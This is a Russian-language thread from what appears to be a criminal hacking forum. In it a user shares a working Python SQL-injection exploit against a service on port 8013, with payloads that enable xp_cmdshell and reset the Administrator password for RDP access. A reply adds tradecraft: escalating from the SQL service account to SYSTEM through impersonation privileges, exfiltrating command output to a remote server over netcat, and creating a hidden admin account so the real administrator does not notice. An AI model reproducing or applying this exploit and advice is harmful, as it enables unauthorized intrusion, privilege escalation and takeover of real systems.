• XSS.stack #1 – первый литературный журнал от юзеров форума

SQLI и активация xp_cmdshell

Balora19

19
Premium
Регистрация
21.02.2022
Сообщения
43
Реакции
49
Прошу помощи у знающих.
есть код:

Python:
import socket
import ssl
import sys
import urllib.parse

REGISTER = (
        "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{}\n"
        + "IP=127.0.0.1\n"
        + "MAC=00-50-56-11-22-33\n"
        + "FCT_ONNET=0\n"
        + "CAPS=32767\n"
        + "VDOM=default\n"
        + "EC_QUARANTINED=0\n"
        + "SIZE=    {}\n"
        + "\n"
        + "X-FCCK-REGISTER: SYSINFO||=\n"
        + "X-FCCK-REGISTER-END"
        + "\r\n"
        + "\r\n"
)

SQLI = "' OR 1=1;  WAITFOR DELAY '00:00:10' -- '"


def send_message(target):
    sqli = SQLI
    msg_len = len(REGISTER + sqli)
    msg = REGISTER.format(sqli, msg_len)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5.0)
    addr = (target, 8013)
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    secure_socket = context.wrap_socket(s, server_hostname="asdf")
    try:
      secure_socket.connect(addr)
      secure_socket.send(msg.encode())
      print(f"[+] Sent Message!\n{msg}")
      response = secure_socket.recv(1024)
    except Exception as e:
        return

    print(response)

вроде бы все ок задержка отрабатывает на ура, значит все проходит
WAITFOR DELAY '00:00:10' -- '

начинаются проблемы с активацией xp_cmdshell
отправка в таком порядке:
python:
1)SQLI = "' OR 1=1; EXEC sp_configure 'show advanced options', 1;--
в консоли выглядит так:
MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC sp_configure 'show advanced options', 1;-- <---Как понимаю тут мы пропускаем FCTUID и меняем значение advanced options
далее такие команды по порядку:
2)SQLI = "' or 1=1;RECONFIGURE;--"
3)SQLI = "' or 1=1;EXEC sp_configure 'xp_cmdshell', 1;--"
4)SQLI = "' or 1=1;RECONFIGURE;--"

Далее так как на таргете есть открытый рдп порт и юзер скюэльки должен быть под правами SYSTEM, пытаемся поменять пасс админа
5)SQLI = "' or 1=1;EXEC xp_cmdshell 'net user Administrator Password01!!'--"
Итог, пасс не меняется :/
при каждом исполнении команды вижу по респонсу, что авторизируемся нормально, но так же, если где то допустить ошибку типа
Python:
EXEC xp_cmdshellLLL 'net user Administrator Password01!!'--"
<- то тоже авторизируется, поэтому понять где именно проблема сложно.
Может где то в синтаксе отправки проблема? или как то еще можно проверить отработку? За помощь в решении отблагодарю на кофе и печеньки ;)
 
Последнее редактирование:
1) Ты не SYSTEM ты nt service\mssqlserver после которого тебе нужно поднять бэкконект и через привелегию получить SYSTEM. Прежде чем менять пароль, проверил бы свои права whoami /all
SeImpersonatePrivilege Impersonate a client after authentication Enabled
2) Если у тебя проблемы с эксфильтрацией ты можешь просто отправлять вывод команды на удаленный сервак POST запросом через iwr а принимаешь неткатом
3) реконфигурацию можно слать одним стакедом чтоб не слать 4 запроса, экономим трафик)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
4) Пароль может не менять по причине net accounts
Минимальная длина пароля: 14
5) Зачем менять пароль администратора если можно добавить нового? А если Админ начнет ломиться на сервак а пароль не подходит, что самое первое он сделает? В чем смысл делать такой глупый поступок
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх